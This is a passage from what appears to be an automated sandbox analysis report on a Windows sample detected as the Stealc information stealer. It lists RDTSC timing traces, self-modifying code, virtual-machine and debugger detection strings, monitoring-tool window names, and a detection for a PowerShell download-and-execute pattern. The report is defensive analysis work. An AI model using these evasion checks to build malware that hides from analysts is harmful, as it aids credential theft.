                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134833B second address: 1348369 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F59Dh 0x0000000b jo 00007F1DD489F59Ch 0x00000011 jc 00007F1DD489F596h 0x00000017 popad 0x00000018 jo 00007F1DD489F5A8h 0x0000001e push eax 0x0000001f push edx 0x00000020 jnp 00007F1DD489F596h 0x00000026 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 13484EA second address: 1348519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD4808495h 0x00000011 jmp 00007F1DD480848Eh 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1348640 second address: 1348655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F1DD489F5B8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jl 00007F1DD489F596h 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C713 second address: 134C735 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1DD4808497h 0x00000008 jnl 00007F1DD4808486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C735 second address: 134C740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C740 second address: 134C74A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD4808486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C875 second address: 134C87F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F1DD489F596h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C87F second address: 134C8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808490h 0x00000007 jmp 00007F1DD4808499h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jmp 00007F1DD4808490h 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b pushad 0x0000001c jl 00007F1DD4808486h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C8CD second address: 134C8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1DD489F596h 0x0000000a popad 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 134C8D8 second address: 134C8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 135C913 second address: 135C933 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1DD489F5A3h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 135EF5B second address: 135EF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F1DD4808498h 0x00000012 jmp 00007F1DD480848Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b jmp 00007F1DD480848Ch 0x00000020 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1356A7F second address: 1356A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F1DD489F596h 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1356A8E second address: 1356A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1356A92 second address: 1356AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 jng 00007F1DD489F596h 0x0000000e jnp 00007F1DD489F596h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136EA62 second address: 136EA66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136EA66 second address: 136EA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F1DD489F59Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136EA77 second address: 136EA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD4808498h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136EA93 second address: 136EAC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F5A9h 0x00000009 jmp 00007F1DD489F5A5h 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136E782 second address: 136E786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 136E786 second address: 136E7BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD489F5A8h 0x00000011 jmp 00007F1DD489F5A3h 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D1F7 second address: 137D1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D358 second address: 137D388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A9h 0x00000007 pushad 0x00000008 jmp 00007F1DD489F5A0h 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D388 second address: 137D394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D394 second address: 137D398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D62D second address: 137D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D797 second address: 137D7A1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1DD489F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D7A1 second address: 137D7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D7A7 second address: 137D7C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD489F59Fh 0x00000009 jno 00007F1DD489F596h 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137D7C0 second address: 137D7FF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1DD4808486h 0x00000008 jns 00007F1DD4808486h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F1DD480848Ah 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F1DD4808488h 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F1DD4808499h 0x00000026 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137DC7F second address: 137DC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137DC8A second address: 137DC8F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137DF37 second address: 137DF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E0A6 second address: 137E0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 jmp 00007F1DD480848Eh 0x0000000b jg 00007F1DD4808486h 0x00000011 pop ebx 0x00000012 push edi 0x00000013 jnp 00007F1DD4808486h 0x00000019 pop edi 0x0000001a jbe 00007F1DD480848Ah 0x00000020 push esi 0x00000021 pop esi 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F1DD4808496h 0x0000002e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E0EE second address: 137E0F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E0F2 second address: 137E0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E0FD second address: 137E105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E105 second address: 137E10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 137E10A second address: 137E113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1381064 second address: 1381089 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1DD480848Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1DD480848Dh 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1381089 second address: 138108D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 138111C second address: 1381120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1381120 second address: 1381139 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1381139 second address: 138118C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007F1DD480848Dh 0x00000010 sbb edx, 3CE3B078h 0x00000016 pop edx 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F1DD4808488h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov edx, ecx 0x00000035 mov edx, dword ptr [ebp+122D1C3Ah] 0x0000003b push 60CB17ABh 0x00000040 push ebx 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000552 second address: 50005CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov al, 13h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1DD489F5A8h 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1DD489F59Eh 0x00000018 or esi, 32BF3F48h 0x0000001e jmp 00007F1DD489F59Bh 0x00000023 popfd 0x00000024 mov si, A6BFh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F1DD489F5A2h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F1DD489F5A7h 0x00000038 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000617 second address: 500061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 500061D second address: 5000621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000621 second address: 5000625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000625 second address: 5000640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1DD489F5A0h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000640 second address: 5000646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000646 second address: 500064A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 500064A second address: 5000674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F1DD4808499h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000674 second address: 5000678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5000678 second address: 500068B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 500068B second address: 50006C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1DD489F5A8h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50006C5 second address: 50006CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50006CB second address: 50006D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 50006D1 second address: 50006D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Tries to evade debugger and weak emulator (self modifying code)
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 129FC95 instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 10FDC53 instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeSpecial instruction interceptor: First address: 1320F39 instructions caused by: Self-modifying code
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
                Source: C:\Users\user\Desktop\file.exeEvaded block: after key decisiongraph_0-38873
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E240F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_00E240F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_00E1E530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E247C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_00E247C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E1F7B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E11710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E11710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_00E1DB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E24B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E24B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E23B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00E23B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_00E1BE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_00E1EE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E1DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00E1DF10
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E11160 GetSystemInfo,ExitProcess,0_2_00E11160
                Source: file.exe, file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
                Source: file.exe, 00000000.00000002.2155893924.00000000009C4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWz
                Source: file.exe, 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMware
                Source: file.exe, 00000000.00000002.2155893924.00000000009F1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                Source: file.exeBinary or memory string: qEmud
                Source: file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
                Source: file.exeBinary or memory string: VmCiR;k
                Source: file.exe, 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMwareV_!
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37574
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37686
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37689
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37707
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37700
                Source: C:\Users\user\Desktop\file.exeAPI call chain: ExitProcess graph end nodegraph_0-37740
                Source: C:\Users\user\Desktop\file.exeSystem information queried: ModuleInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information queried: ProcessInformationJump to behavior

                Anti Debugging

                barindex
                Hides threads from debuggers
                Source: C:\Users\user\Desktop\file.exeThread information set: HideFromDebuggerJump to behavior
                Tries to detect sandboxes and other dynamic analysis tools (window names)
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: regmonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: gbdyllo
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: process monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: procmon_window_class
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: registry monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: ollydbg
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: filemonclass
                Source: C:\Users\user\Desktop\file.exeOpen window title or class name: file monitor - sysinternals: www.sysinternals.com
                Source: C:\Users\user\Desktop\file.exeFile opened: NTICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SICE
                Source: C:\Users\user\Desktop\file.exeFile opened: SIWVID
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E14610 VirtualProtect ?,00000004,00000100,000000000_2_00E14610
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00E29BB0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29AA0 mov eax, dword ptr fs:[00000030h]0_2_00E29AA0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E27690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,0_2_00E27690
                Source: C:\Users\user\Desktop\file.exeMemory protected: page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell download and execute
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR
                Searches for specific processes (likely to inject)
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E29790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00E29790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E298E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,0_2_00E298E0
                Source: file.exe, file.exe, 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: CgProgram Manager
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E575A8 cpuid 0_2_00E575A8
                Source: C:\Users\user\Desktop\file.exeCode function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,0_2_00E27D20
                Source: C:\Users\user\Desktop\file.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E26BC0 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,0_2_00E26BC0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E279E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,0_2_00E279E0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00E27BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,0_2_00E27BC0

                Stealing of Sensitive Information

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
